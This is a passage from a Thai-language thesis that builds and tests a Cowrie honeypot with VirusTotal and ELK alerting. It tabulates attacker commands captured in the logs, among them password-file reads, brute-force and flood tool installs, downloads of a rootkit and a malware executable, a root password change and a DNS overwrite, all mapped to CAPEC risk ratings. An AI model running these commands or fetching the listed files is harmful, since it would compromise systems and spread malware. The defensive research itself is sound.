1 cat /var/tmp/.var03522123 | head -n 1 เรียกดูข้อมูลบรรทัดแรกของไฟล์.var03522123 
1 cat /var/tmp/.systemcache436621 เรียกดูข้อมูลไฟล์.systemcache436621 

1 cat etc/passwd เรียกดูบัญชีผู้ใช้งานทั้งหมดภายในระบบปฏิบัติการนั้น 

1 cd .. ย้ายไปไดเรกทอรก่ีอนหน้า 
1 ls -alR * เรียกดูไฟล์ ไดเรคทอรีหลักและย่อยทั้งหมดในเครื่อง 

1 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 
$7}' 

เรียกดูข้อมูลหน่วยความจ า (Memory) 

2 apt-get install mitmf ติดตัง้ MITMF (man in the middle attack 
framework) 

2 apt-get install hydra –y ติดตัง้โปรแกรมส าหรับการโจมตีรหัสผ่านแบบบรูทฟอร์ซ 

2 apt-get install hping3 ติดตัง้ซอฟต์แวร์ประเภท TCP Flood 
3 wget --no-check-certificate --content-disposition 

https://github.com/En14c/LilyOfTheValley 
ดาวน์โหลดแพ็กเกจเพ่ือท าการติดตั้งรตูคิต (Rootkit)  

3 iptables -A OUTPUT -p icmp --icmp-type 0 -s 
$SERVER_IP -d 0/0 -m state --state 
ESTABLISHED,RELATED -j ACCEPT 

เพ่ิมกฎในไฟร์วอลล์ให้ตอบรับค าขอข้อมูลแบบ ICMP 
(Internet Control Message Protocol) 

3 wget http://flashpointy.xyz/panel/test1.exe ดาวน์โหลดโปรแกรมที่มีจุดประสงค์รา้ยต่อระบบ ไวรัส
โททอลตรวจพบว่าเป็นไวรัสประเภทมัลแวร์ 

3 curl https://api.the-black-hack.jehaisleprintemps.net เรียกใช้งานเอพีไอ 
3 wget https://www.microsoft.com/en-

us/download/details.aspx?id=18465 
ดาวน์โหลดโปรแกรมที่ใช้ในการล็อคบัญชีผู้ใช้งาน 

3 wget https://cloudypirate.com/cklacds0kup7/500-
worst-passwords.txt.bz2.html 

ดาวน์โหลดไฟล์รวบรวมรหัสผ่าน  

3 wget https://goo.gl/RZqVFK ดาวน์โหลดโปรแกรม Phishbait Maker เป็นโปรแกรมที่
ใช้ในการท าฟิชชิง (Phishing) 

4 vi /etc/sysctl.conf แก้ไขเซิร์ฟเวอร์ให้สามารถก าหนดเส้นทางส่งต่อข้อมูล 
(IP Packet Forwarding) ระหว่างอินเตอร์เฟส 

4 echo "root:JwdgyhDYlprP"|chpasswd|bash เปลี่ยนรหัสผ่านของบัญชีผู้ใช้งานรูท 

4 mkfile 100g /file1.txt สร้างไฟล์ขนาด 100 กิกะไบต์ ที่รูทพาท ซ่ึงอาจท าให้
ฮาร์ดดิสเต็ม 

4 echo "104.243.41.97" >/etc/resolv.conf เปลี่ยนแปลงเลขที่ไอพีจากดีเอนเอสเซิร์ฟเวอรอ่ื์น 
4 ifconfig eth0 down ปิดการใช้งานเครือข่ายฮารด์แวร ์

4 ln –s/etc/nologin file_1 สร้างไฟล์ทางลัดที่ใช้ปิดระบบความปลอดภัยโดยใช้ชื่อ
เหมือนค าสั่งที่ผู้ใช้งานใช้ เพ่ือให้เกิดความเข้าใจผิดและ
ใช้งานไฟล์ดังกล่าว 

5 su root เข้าใช้งานสิทธ์ผูดู้แลระบบ 
5 sudo useradd admin0 เพ่ิมบัญชีผู้ใช้งานชื่อว่า admin0 
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3.5 จับคู่ค าสั่งการโจมตีกับรูปแบบการโจมตีคาเปก 

จากหัวข้อที่ 3.3 และ 3.4 เมื่อจ าแนกกลุ่มของค าสั่งการโจมตี และทราบวัตถุประสงค์ของค าสั่ง

ในแต่ละกลุ่ม ผู้วิจัยได้ท าการจับคู่ค าสั่งการโจมตีที่พบกับการโจมตีคาเปกที่มีวัตถุประสงค์ของการ

โจมตีที่ใกล้เคียงกันด้วยวิธีท ามือ (Manual) เพื่อให้ทราบค่าโอกาสที่จะเกิด (Likelihood) และค่า

ผลกระทบ (Impact) ของแต่ละค าสั่ง จากนั้นน ามาท าการประมาณความเสี่ยง (Risk Estimation) 

โดยสามารถก าหนดค่าโอกาสที่จะเกิดความเสี่ยงและค่าผลกระทบ ดังตารางที่ 10 และได้น าส่งผลการ

จับคู่ให้ผู้เช่ียวชาญด้านความมั่นคงปลอดภัยระบบเทคโนโลยีสารสนเทศท าการตรวจสอบอีกครั้งก่อน

น ามาค านวณหาค่าความเสี่ยงตามสมการที่ (1) เพื่อให้ทราบถึงระดับความรุนแรงของค าสั่งการโจมตี

ที่ผู้บุกรุกน ามาใช้ ซึ่งรายละเอียดการโจมตีคาเปกที่น ามาจับคู่แสดงในภาคผนวก จ 

ตารางที่ 10 การจบัคู่ค าสั่งการโจมตีกบัการโจมตีคาเปกและการประมาณความเสี่ยง 
กลุ่ม ค าสั่งการโจมต ี CAPEC ID โอกาสท่ีจะเกิด ผลกระทบ 

1 cat /var/tmp/.var03522123 | head -n 1 CAPEC-155 Medium Medium 
1 cat /var/tmp/.systemcache436621 CAPEC-37 High Very High 

1 cat etc/passwd CAPEC-55 Medium Medium 

1 cd .. CAPEC-139 High High 
1 ls -alR * CAPEC-127 High Medium 

1 free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6,  
$7}' 

CAPEC-54 High Low 

2 apt-get install mitmf CAPEC-94 High Very High 

2 apt-get install hydra –y CAPEC-49 Medium High 
2 apt-get install hping3 CAPEC-125 High Medium 

3 wget --no-check-certificate --content-disposition 
https://github.com/En14c/LilyOfTheValley 

CAPEC-552 Medium High 

3 iptables -A OUTPUT -p icmp --icmp-type 0 -s 
$SERVER_IP -d 0/0 -m state --state 
ESTABLISHED,RELATED -j ACCEPT 

CAPEC-285 Medium Low 

3 wget http://flashpointy.xyz/panel/test1.exe CAPEC-441 Medium High 

3 curl https://api.the-black-
hack.jehaisleprintemps.net 

CAPEC-36 Medium High 

3 wget https://www.microsoft.com/en-
us/download/details.aspx?id=18465 

CAPEC-2 High Medium 

3 wget https://cloudypirate.com/cklacds0kup7/500-
worst-passwords.txt.bz2.html 

CAPEC-16 Medium High 

3 wget https://goo.gl/RZqVFK CAPEC-98 High Very High 

4 vi /etc/sysctl.conf CAPEC-13 High Very High 
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กลุ่ม ค าสั่งการโจมต ี CAPEC ID โอกาสท่ีจะเกิด ผลกระทบ 
4 echo "root:JwdgyhDYlprP"|chpasswd|bash CAPEC-22 High High 

4 mkfile 100g /file1.txt CAPEC-537 Low High 
4 echo "104.243.41.97" >/etc/resolv.conf CAPEC-275 High Very High 

4 ifconfig eth0 down CAPEC-583 Low High 
4 ln –s/etc/nologin file_1 CAPEC-132 Low High 

5 su root CAPEC-70 Medium High 

5 sudo useradd admin0 CAPEC-476 Low High 
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บทที่ 4  
การพัฒนาระบบ 

ในบทนี้ได้กล่าวถึงการออกแบบระบบ สภาพแวดล้อมและเครื่องมือที่ใช้ในการพัฒนา และ

ข้ันตอนในการพัฒนาระบบ ซึ่งมีรายละเอียดดังต่อไปนี ้

4.1 การออกแบบระบบ 

ระบบที่พัฒนาข้ึนประกอบด้วยข้ันตอนส าหรับช่วยในการจัดเก็บรวบรวมข้อมูลในรูปแบบ

ของล็อก (Log) ผ่านฮันนีพอต เพื่อน าข้อมูลดังกล่าวมาจัดรูปแบบและจ าแนกกลุ่มของค าสั่งการโจมตี

ผ่านทางเชลล์สคริปต์ จากนั้นหากพบไฟล์หรือลิงก์อันตราย ระบบจะท าการส่งไฟล์หรือลิงก์เหล่าน้ัน

ไปหารูปแบบการโจมตีผ่านไวรัสโททอล และท าการวิเคราะห์ผลผ่านอีแอลเคสแต็ก พร้อมท าการแจ้ง

เตือนกลับมาที่ผู้ดูแลระบบ ดังแสดงในภาพที่ 7 

 

ภาพที่ 7 ภาพรวมการออกแบบและพัฒนาระบบ 
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4.2 สภาพแวดล้อมและเครื่องมือท่ีใช้ในการพัฒนา 

สภาพแวดล้อมและเครื่องมือที่ใช้ในการพัฒนาประกอบไปด้วยฮาร์ดแวร์  และซอฟต์แวร์ ซึ่งมี

รายละเอียดดังต่อไปนี้ 

4.2.1 ระบบฮาร์ดแวร์ 

ในงานวิจัยนี้ได้ออกแบบระบบโดยการสร้างคอมพิวเตอร์เสมือน ( Virtual Machine) 

จ านวน 2 เครื่อง บนกูเกิลคลาวด์แพลตฟอร์ม ประกอบด้วย 

เครื่องที่ 1: ฮันนีพอตเซิร์ฟเวอร์ 

- หน่วยการประมวลผล (CPU) 1 vCPU 

- หน่วยความจ า (Memory) 3.75 กิกะไบต์ (RAM 3.75 GB) 

- ฮาร์ดดิสก์ความจุ 20 กิกะไบต์ (20 GB) 

- ระบบปฏิบัติการลินุกซ์ (Linux) 

เครื่องที่ 2: รีพอร์ตเซิร์ฟเวอร์ 

- หน่วยการประมวลผล (CPU) 1 vCPU 

- หน่วยความจ า (Memory) 3.75 กิกะไบต์ (RAM 3.75 GB) 

- ฮาร์ดดิสก์ความจุ 20 กิกะไบต์ (20 GB) 

- ระบบปฏิบัติการลินุกซ์ (Linux) 

4.2.2 ระบบซอฟต์แวร์ 

เครื่องคอมพิวเตอร์เสมือนที่ใช้ในการพัฒนามีการติดตั้งซอฟต์แวร์ดังต่อไปนี้ 

เครื่องที่ 1 : ฮันนีพอตเซิร์ฟเวอร์ 

- CENTOS-7 (64 bit) 

- Honeypot (cowrie) 19.10.0 

- Shell Script 

- Filebeat 7.2.0 

- VirusTotal 

เครื่องที่ 2 : รีพอร์ตเซิร์ฟเวอร์ 
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- CENTOS-7 (64 bit) 

- Elasticsearch 7.2.0  

- Logstash 7.2.0 

- Kibana 7.2.0 

- Nginx 1.17.0 

4.3 ขั้นตอนการพัฒนาระบบ 

4.3.1 การก าหนดค่าโครงแบบ 

การก าหนดค่าโครงแบบ (Configuration) เริ่มจากเปลี่ยนพอร์ตเริ่มต้น (Default Port) 

จากพอร์ตซีเคียวเชล (SSH: Secure Shell) 22 เป็นพอร์ต 2332 โดยหมายเลขพอร์ตที่เปลี่ยน

สามารถก าหนดเป็นเลขอะไรก็ได้เพื่อให้เซิร์ฟเวอร์จริงไม่ถูกโจมตี จากนั้นท าการติดตั้งฮันนีพอตลงมา

ที่เครื่องเซิร์ฟเวอร์ ดังรายละเอียดในภาคผนวก ข และก าหนดพอร์ตของฮันนีพอตให้เป็นพอร์ต 22 

แทนที่พอร์ตของซีเคียวเชล ดังที่แสดงในภาพที่  8 

 

ภาพที่ 8 ค าสั่งในการปลี่ยนหมายเลขพอร์ต 

4.3.2 การจัดเก็บและรวบรวมข้อมูล 

เมื่อมีผู้โจมตีพยายามท าการเข้าสู่ระบบ ทั้งสามารถเข้าสู่ระบบได้ส าเร็จและไม่ส าเร็จ ฮันนี

พอตจะเริ่มท าการจัดเก็บข้อมูลพฤติกรรมของผู้โจมตีทั้งหมดอยู่ในรูปแบบของบันทึกจัดเก็บ  ช่ือว่า 

cowrie.log ดังแสดงในภาพที่ 9 

 

ภาพที่ 9 ตัวอย่าง cowrie.log 
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4.3.3 การก าหนดการท างานระบบ 

ภายในฮันนีพอตเซิร์ฟเวอร์ได้ท าการจัดรูปแบบข้อมูลบันทึกจัดเก็บ และก าหนดรูปแบบ

การท างานของระบบผ่านเชลล์สคริปต์ทั้งหมด 5 เชลล์สคริปต์ ได้แก่ 1.สคริปต์ส าหรับรวบรวมข้อมูล

บันทึกจัดเก็บ 2.สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ 3.สคริปต์ส าหรับตรวจจับการเข้าสู่

ระบบ 4.สคริปต์ส าหรับตรวจจับค าสั่งการโจมตี และ 5.สคริปต์ส าหรับตรวจสอบไฟล์อันตราย โดยแต่

ละเชลล์สคริปต์มีการก าหนดรูปแบบการท างานที่แตกต่างกันดังต่อไปนี้ 

4.3.3.1 สคริปต์ส าหรับรวบรวมข้อมูลบันทึกจัดเก็บ 

สคริปต์ส าหรับรวบรวมข้อมูลบันทึกจัดเก็บมีช่ือว่า main_monitor.sh ท าหน้าที่

ในการดึงข้อมูลบันทึกจัดเก็บ (cowrie.log) จากฮันนีพอตทุก ๆ 1 ช่ัวโมง มาเก็บรวบรวมไว้เพื่อน าไป

ประมวลผลต่อในข้ันตอนถัดไป ในการก าหนดเวลาทุก ๆ 1 ช่ัวโมง อ้างอิงจากบริษัทซอฟต์แวร์รักษา

ความปลอดภัยคอมพิวเตอร์ระดับโลกของสหรัฐอเมริกา หรือที่รู้จักกันดีในนามแอนตี้ไวรัสแม็กอาฟี 

(McAfee) [15] ได้มีการก าหนดเวลาในการอัปเดตความปลอดภัยใหม่ ๆ ทุก 1 ช่ัวโมง  

main_monitor.sh ยังเป็นสคริปต์หลักที่ใช้ควบคุมการท างานของสคริปต์อีก 4 

สคริปต์ คือ getlog.sh, check_login.sh, check_cmd.sh และ check_suspectfile.sh 

 

ภาพที่ 10 สครปิต์ส าหรบัรวบรวมข้อมลูบันทึกจัดเก็บ 

4.3.3.2 สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ 

ภาพที่ 11 แสดงสคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บช่ือว่า getlog.sh 
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ภาพที่ 11 สครปิต์ส าหรบัจัดรูปแบบข้อมลูบันทึกจัดเกบ็ 

getlog.sh จะเริ่มการท างานเมื่อ main_monitor.sh ท าการเก็บรวบรวมข้อมูล

บันทึกจัดเก็บเป็นที่เรียบร้อยแล้ว getlog.sh มีหน้าที่ในการจัดรูปแบบข้อมูลบันทึกจัดเก็บใหม่ โดย

ตัดค าที่ไม่จ าเป็นออก เพื่อให้อยู่ในรูปแบบที่สามารถน าไปวิเคราะห์ต่อได้ โดยแบ่งออกเป็น 2 รูปแบบ 

คือ บันทึกจัดเก็บการเข้าสู่ระบบ (login.log) และบันทึกจัดเก็บค าสั่ง (cmd.log) ดังแสดงในภาพที่  

12 และ ภาพที่ 13 ตามล าดับ 

 

ภาพที่ 12 ตัวอย่างข้อมูลบันทึกจัดเก็บการเข้าสู่ระบบ 

 

ภาพที่ 13 ตัวอย่างข้อมูลบันทึกจัดเก็บค าสัง่ 
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4.3.3.3 สครปิต์ส าหรับตรวจจับการเขา้สู่ระบบ 

ภาพที่ 14 แสดงสคริปต์ส าหรับตรวจจับการเข้าสู่ระบบช่ือว่า check_login.sh 

ซึ่งจะเริ่มท างานเมื่อ getlog.sh ท าการจัดรูปแบบข้อมูลบันทึกจัดเก็บเป็น 2 รูปแบบข้างต้นเรียบร้อย

แล้ว โดยในสคริปต์น้ีจะน าเฉพาะข้อมูลบันทึกจัดเก็บการเข้าสู่ระบบ (login.log) มาใช้ เพื่อตรวจสอบ

สถานะการเข้าสู่ระบบของผู้บุกรุก หากพบสถานะการเข้าสู่ระบบส าเร็จ ระบบจะท าการแจ้งเตอืนไปที่

ผู้ดูแลระบบ 

 

ภาพที่ 14 สครปิต์ส าหรบัตรวจจับการเข้าสู่ระบบ 

4.3.3.4 สคริปต์ส าหรับตรวจจับค าสั่งการโจมตี 

สคริปต์ส าหรับตรวจจับค าสั่งการโจมตีมีช่ือว่า check_cmd.sh จะเริ่มท างานเมือ่ 

getlog.sh ท าการจัดรูปแบบข้อมูลบันทึกจัดเก็บเป็น 2 รูปแบบเรียบร้อยแล้ว โดยในสคริปต์น้ีจะใช้

เฉพาะข้อมูลบันทึกจัดเก็บค าสั่ง (cmd.log) เพื่อน าค าสั่งมาจ าแนกกลุ่มค าสั่งการโจมตี และ

จัดรูปแบบบันทึกจัดเก็บใหม่ โดยระบุเลขอ้างอิงกลุ่มลงไปที่คอลัมน์แรกของข้อมูลบันทึกจัดเก็บ ดัง

แสดงในภาพที่ 15 

 

ภาพที่ 15 ตัวอย่างข้อมูลบันทึกจัดเก็บค าสัง่ทีผ่่านการจ าแนกกลุ่มแล้ว 
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ภาพที่ 16 สคริปต์ส าหรบัตรวจจับค าสั่งการโจมตี 

ในการจัดกลุ่มรูปแบบค าสั่งการโจมตีจะต้องอ้างอิงจากไฟล์กฎ (Rule File) ดัง

แสดงบางส่วนในภาพที่ 17 ไฟล์กฎได้มาจากการจ าแนกรูปแบบค าสั่งการโจมตีตามวัตถุประสงค์ของ

ค าสั่ง ซึ่งได้ผ่านการตรวจทานจากผู้เช่ียวชาญด้านความมั่นคงของระบบเทคโนโลยีสารสนเทศ 

สามารถแบ่งออกเป็น 7 กลุ่ม ดังอธิบายในหัวข้อ 3.3 หากมีค าสั่งใหม่ที่ไม่เคยพบมาก่อน สคริปต์จะ

จัดการค าสั่งนั้นให้อยู่ในกลุ่ม 7 โดยอัตโนมัติ และเมื่อระบบตรวจพบค าสั่งในกลุ่ม 7 จะท าการแจ้ง

เตือนอัตโนมัตไิปที่ผู้ดูแลระบบ 
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ภาพที่ 17 ตัวอย่างกลุ่มที่ระบุในไฟลก์ฎ 

4.3.3.5 สคริปต์ส าหรับตรวจสอบไฟล์อันตราย 

สคริปต์ส าหรับตรวจสอบไฟล์อันตรายมีช่ือว่า check_suspectfile.sh ดังแสดง

ในภาพที่ 18 
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ภาพที่ 18 สครปิต์ส าหรบัตรวจสอบไฟล์อันตราย 

check_suspectfile.sh จะเริ่มท างานเมื่อตรวจพบไฟล์หรือยูอาร์แอลที่ระบุอยู่

ในค าสั่ง เช่น ค าสั่ง wget http://flashpointy.xyz/panel/test1.exe  จากนั้นสคริปต์จะท าการ

เรียกใช้งานไวรัสโททอลเอพีไอ (VirusTotal API) ผ่านค าสั่ง CURL โดยไวรัสโททอลจะท าหน้าที่ใน

การจ าลองการดาวน์โหลด ติดตั้งไฟล์ หรือทดสอบยูอาร์แอลในสภาพแวดล้อมเสมือนจริงที่เรียกว่า

แซนด์บ็อกซ์ (Sandbox) จากนั้นไวรัสโททอลจะส่งผลการทดสอบเป็นรายงานกลับมาที่ระบบว่าไฟล์

หรือยูอาร์แอลที่พบเป็นอันตรายต่อระบบหรือไม่ หากพบว่าเป็นไฟล์หรือยูอาร์แอลอันตราย ภายใน

รายงานจะระบุว่า “detected” true ดังภาพที่ 19 
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ภาพที่ 19 ตัวอย่างรายงานจากไวรัสโททอล 

เมื่อไวรัสโททอลส่งผลรายงานกลับมา สคริปต์จะท าการบันทึกรายงานในรูปแบบ

ของบันทึกจัดเก็บโดยก าหนดอยู่ในรูปแบบใหม่ แสดงดังภาพที่ 20 เพื่อให้อยู่ในรูปแบบที่สามารถ

น าไปวิเคราะห์ต่อด้วย ELK Stack ได้ และท าการแจ้งเตือนไปที่ผู้ดูแลระบบให้ตรวจสอบ 

 

ภาพที่ 20 ตัวอย่างรูปแบบบันทึกจัดเกบ็ใหม ่

เนื่องจากไวรัสโททอลจะท าการส่งไฟล์หรือยูอาร์แอลต้องสงสัยไปท าแซนด์บ็อกซ์

ผ่านหลายเครือข่ายแอนต้ีไวรัส (Antivirus Engines) ซึ่งแต่ละเครือข่ายมีค านิยามในการเรียกช่ือไวรัส

ที่แตกต่างกัน เช่น โซฟอส (Sophos) ใช้ค าว่ามัลลิเชียส (Malicious) แต่แคสเปอร์สกี (Kaspersky) 

ใช้ค าว่าว่ามัลแวร์ (Malware) ซึ่งแท้จริงแล้วมัลแวร์หรือมัลลิเชียสมีความหมายเหมือนกันคือเป็นไฟล์

หรือยูอาร์แอลอันตรายที่สามารถสร้างความเสียหายให้กับเซิร์ฟเวอร์ หรือเครือข่ายคอมพิวเตอร์ได้ 

4.3.4 การท างานร่วมกับอีแอลเคสแต็ก 

งานวิจัยน้ีท าการวิเคราะห์ผลผ่านอีแอลเคสแต็ก (ELK Stack: Elasticsearch Logstash 

Kibana Stack) โดยข้ันตอนในการน าข้อมูลบันทึกจัดเก็บ (Log) มาวิเคราะห์มีทั้งหมด 4 ข้ันตอน คือ 

1. ข้ันตอนการน าส่งข้อมูลบันทึกจัดเก็บ 2. ข้ันตอนการจัดรูปแบบข้อมูลบันทึกจัดเก็บ 3. ข้ันตอนการ

เก็บรวบรวมข้อมูลบันทึกจัดเก็บ และ 4. ข้ันตอนการแสดงผลข้อมูลบันทึกจัดเก็บ 

4.3.4.1 ขั้นตอนการน าส่งข้อมูลบันทึกจัดเก็บ 

ในข้ันตอนนี้จะต้องน าส่งข้อมูลบันทึกจัดเก็บจากเครื่องฮันนีพอตเซิร์ฟเวอร์ไปยัง

เครื่องรีพอร์ตเซิร์ฟเวอร์ผ่านซอฟต์แวร์ที่มีช่ือว่า Filebeat ซึ่ง Filebeat ท าหน้าที่ส่งข้อมูลบันทึก

จัดเก็บทั้งหมด โดยก าหนดเส้นทาง (Path) ในการส่งของข้อมูลบันทึกจัดเก็บไปยัง Logstash ที่ติดตั้ง

อยู่ภายในเครื่องรีพอร์ตเซิร์ฟเวอร์ผ่านเลขที่อยู่ไอพี ( IP address) และพอร์ตหมายเลข 5044 ดังที่

แสดงในภาพที่ 21 และ ภาพที่ 22 
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ภาพที่ 21 สครปิต์ก าหนดเส้นทางการสง่ข้อมลูบันทกึจัดเกบ็ 

 

ภาพที่ 22 สครปิต์ก าหนดเลขทีอ่ยู่ไอพีและหมายเลขพอร์ตในการสง่ข้อมลูบันทึกจัดเก็บ 

4.3.4.2 ขั้นตอนการจัดรูปแบบข้อมูลบันทึกจัดเก็บ 

ข้ันตอนนี้จะใช้ซอฟต์แวร์ Logstash ในการรับข้อมูล และจัดรูปแบบของข้อมูล 

โดยท าการแปลงข้อมูลบันทึกจัดเก็บให้เป็นรูปแบบที่มีโครงสร้าง เพื่อให้ข้อมูลบันทึกจัดเก็บสามารถ

ส่งออกได้หลายรูปแบบ ภายใน Logstash แบ่งการท างานออกเป็น 3 ส่วน กล่าวคือ 

1. ส่วนของการน าเข้า ( Input) ท าหน้าที่ในการรับข้อมูลจาก Filebeat ผ่าน

พอร์ตหมายเลข 5044 ดังแสดงในภาพที่  23 

 

ภาพที่ 23 ส่วนของการน าเข้าข้อมลูบันทกึจัดเก็บ 
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2. ส่วนของการจัดรูปแบบ (Filter) ท าหน้าที่ในการจัดรูปแบบข้อมูลน าเข้าให้เป็น

รูปแบบที่มีโครงสร้างเพื่อส่งออกข้อมูลบันทึกจัดเก็บเป็น 3 รูปแบบ ได้แก่ 

- ข้อมูลบันทึกจัดเก็บการเข้าสู่ระบบ  

- ข้อมูลบันทึกจัดเก็บค าสั่งการโจมตี 

- ข้อมูลบันทึกจัดเก็บไฟล์อันตราย  

งานวิจัยนี้ได้น าข้อมูลทั้ง 3 รูปแบบข้างต้นมาท าการจัดรูปแบบทั้งหมด 3 ส่วน 

เพื่อแปลงข้อมูลให้เป็นรูปแบบที่มีโครงสร้าง ได้แก่ 1) ส่วนของการก าหนดช่ือคอลัมน์ 2) ส่วนของการ

แปลงค่าเวลา และ 3) ส่วนของการระบุที่อยู่จากเลขที่อยู่ไอพี ดังที่แสดงในภาพที่ 24 

 

ภาพที่ 24 ส่วนของการจัดรูปแบบข้อมลูบันทึกจัดเกบ็ 
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3. ส่วนของการส่งออก (Output) ท าหน้าที่ในการส่งออกข้อมูลจาก Logstash 

ไปยัง Elasticsearch โดยมีการก าหนดดัชน ี(Index) ของข้อมูลก่อนส่งออก และในการส่งออกจะท า

การส่งออกผ่านพอร์ตหมายเลข 9200 ดังที่แสดงในภาพที่ 25 

 

ภาพที่ 25 ส่วนของการสง่ออกข้อมูลบันทึกจัดเกบ็ 

4.3.4.3 ขั้นตอนการเก็บรวบรวมข้อมูลบันทึกจัดเก็บ 

ข้ันตอนนี้จะใช้ซอฟต์แวร์ Elasticsearch ท าหน้าที่ในการจัดเก็บ รวบรวม และ

สรุปข้อมูลเพื่อน ามาแสดง โดยท าการเก็บข้อมูลให้อยู่ในรูปแบบเจสัน (JSON: JavaScript Object 

Notation) ซึ่งเป็นรูปแบบมาตรฐานข้อมูลที่ใช้งานได้ง่าย ท าให้สามารถรับส่งข้อมูลได้หลากหลาย

แพลตฟอร์ม ตัวอย่างการเก็บข้อมูลในรูปแบบเจสัน ดังแสดงในภาพที่ 26 
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ภาพที่ 26 ตัวอย่างการเก็บข้อมูลในรูปแบบเจสัน 

4.3.4.4 ขั้นตอนการแสดงผลข้อมูลบันทึกจัดเก็บ 

ข้ันตอนนี้จะใช้ซอฟต์แวร์ Kibana ท าหน้าที่ในการดึงข้อมูลจาก Elasticsearch 

ข้ึนไปแสดงผลบนหน้าจอผ่านทางเว็บไซต์ ดังแสดงในภาพที่ 27 
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ภาพที่ 27 ตัวอย่างการแสดงผลข้อมลูบันทึกจัดเก็บผ่าน Kibana 

4.3.5 การแจ้งเตือนระบบ 

การแจ้งเตือนระบบแบ่งออกเป็น 3 รูปแบบ ได้แก่ การแจ้งเตือนการเข้าสู่ระบบ การแจ้ง

เตือนค าสั่งการโจมตี และการแจ้งเตือนไฟล์อันตราย ซึ่งมีรายละเอียดดังต่อไปนี้ 

4.3.5.1 การแจ้งเตือนการเข้าสู่ระบบ 

การแจ้งเตือนการเข้าสู่ระบบจะท าการแจ้งเตือนไปที่ผู้ดู แลระบบ เมื่อพบ

สถานะการเข้าสู่ระบบที่ส าเร็จของผู้บุกรุก โดยจ าแนกการแจ้งเตือนออกเป็น 2 ช่องทาง ได้แก่ 

1. แจ้งเตือนผ่านอีเมล (E-mail) ดังแสดงในภาพที่ 28 โดยเรียกใช้งานผ่านโพสต์

ฟิกส์ (Postfix) ซึ่งเป็นแพ็กเกจบนระบบปฏิบัติการลินุกซ์ (Linux) 

 

ภาพที่ 28 ตัวอย่างการแจง้เตือนผ่านอเีมล 
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2. แจ้งเตือนผ่านไลน์ (Line) ดังแสดงในภาพที่ 29 โดยเรียกใช้งานผ่านเว็บ

เซอร์วิสของไลน์ รายละเอียดแสดงในภาคผนวก ง 

 

ภาพที่ 29 ตัวอย่างการแจง้เตือนผ่านไลนเ์มื่อผู้บกุรุกเข้าสูร่ะบบส าเรจ็ 

4.3.5.2 การแจ้งเตือนค าสั่งการโจมต ี

การแจ้งเตือนค าสั่งการโจมตีจะท าการแจ้งเตือนไปที่ผู้ดูแลระบบ เมื่อพบค าสั่ง

การโจมตีในกลุ่มที่ 7 หรือค าสั่งใหม่ที่ไม่เคยพบมาก่อน โดยจ าแนกการแจ้งเตือนออกเป็น 2 ช่องทาง 

ไดแ้ก่ 1. แจ้งเตือนผ่านอีเมล ดังภาพที่ 30 และ 2. แจ้งเตือนผ่านไลน์ (Line) ดังภาพที่ 31 

 

ภาพที่ 30 ตัวอย่างการแจง้เตือนผ่านอเีมลเมือ่พบค าสั่งกลุ่มที่ 7 

 

ภาพที่ 31 ตัวอย่างการแจง้เตือนผ่านไลนเ์มื่อพบค าสัง่กลุ่มที ่7 
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4.3.5.2 การแจ้งเตือนไฟล์อันตราย 

การแจ้งเตือนไฟล์อันตรายจะท าการแจ้งเตือนไปที่ผู้ดูแลระบบ เมื่อตรวจพบไฟล์

หรือยูอาร์แอลอันตราย ผ่านการแจ้งเตือน 2 ช่องทาง ได้แก่ 1. แจ้งเตือนผ่านอีเมล ดังภาพที่ 32 และ 

2. แจ้งเตือนผ่านไลน์ (Line) ดังภาพที่ 33 

 

ภาพที่ 32 ตัวอย่างการแจง้เตือนผ่านอเีมลเมือ่ตรวจพบไฟลห์รือยูอาร์แอลอันตราย 

 

ภาพที่ 33 ตัวอย่างการแจง้เตือนผ่านไลนเ์มื่อตรวจพบไฟลห์รือยูอาร์แอลอันตราย 

4.3.6 การทดสอบระบบ 

ผู้วิจัยท าการทดสอบประสิทธิผลของระบบ โดยแบ่งออกเป็น 2 ส่วน ประกอบด้วย การ

ทดสอบส่วนของการเข้าสู่ระบบ และการทดสอบส่วนของค าสั่งการโจมตี ซึ่งมีรายละเอียดดังต่อไปนี้ 
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4.3.6.1 ทดสอบส่วนของการเข้าสู่ระบบ 

ตารางที่ 11 ผลการทดสอบส่วนของการเข้าสู่ระบบ 

หัวข้อในการทดสอบ ผลลัพธ์ท่ีคาดหวัง ผลการทดสอบ 

1. ทดสอบการเข้าสู่

ระบบไม่ส าเร็จ 

1. สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ

สามารถจ าแนกได้ว่าเป็นข้อมูลบันทึกจัดเก็บการ

เข้าสู่ระบบ 

2. สคริปต์ส าหรับตรวจจับการเข้าสู่ระบบสามารถ

ระบุภายในข้อมูลบันทึกจัดเก็บได้ว่าเป็นการเข้าสู่

ระบบที่ไม่ส าเร็จ 

3. Logstash สามารถจัดรูปแบบและแปลงข้อมูล

บันทึกจัดเก็บให้เป็นรูปแบบที่มีโครงสร้างเพื่อน าไป

แสดงผลที่ Kibana ได้อย่างถูกต้อง 

ผ่าน 

2. ทดสอบการเข้าสู่

ระบบส าเร็จ 

1. สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ

สามารถจ าแนกได้ว่าเป็นข้อมูลบันทึกจัดเก็บการ

เข้าสู่ระบบ 

2. สคริปต์ส าหรับตรวจจับการเข้าสู่ระบบสามารถ

ระบุภายในข้อมูลบันทึกจัดเก็บได้ว่าเป็นการเข้าสู่

ระบบที่ส าเร็จ 

3. Logstash สามารถจัดรูปแบบและแปลงข้อมูล

บันทึกจัดเก็บให้เป็นรูปแบบที่มีโครงสร้างเพื่อน าไป

แสดงผลที่ Kibana ได้อย่างถูกต้อง 

4. ท าการแจ้งเตือนผ่านอีเมลและไลน์ 

ผ่าน 
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4.3.6.2 ทดสอบส่วนของค าสั่งการโจมตี 

ตารางที่ 12 ผลการทดสอบส่วนของค าสั่งการโจมต ี

หัวข้อในการทดสอบ ผลลัพธ์ท่ีคาดหวัง ผลการทดสอบ 

1 .  ทดสอบการ ใ ช้

ค าสั่งการโจมตีทั้ง 7 

กลุ่ม 

1. สคริปต์ส าหรับจัดรูปแบบข้อมูลบันทึกจัดเก็บ

สามารถจ าแนกได้ว่าเป็นข้อมูลบันทึกจัดเก็บค าสั่ง 

2. สคริปต์ส าหรับตรวจจับค าสั่งการโจมตีสามารถ

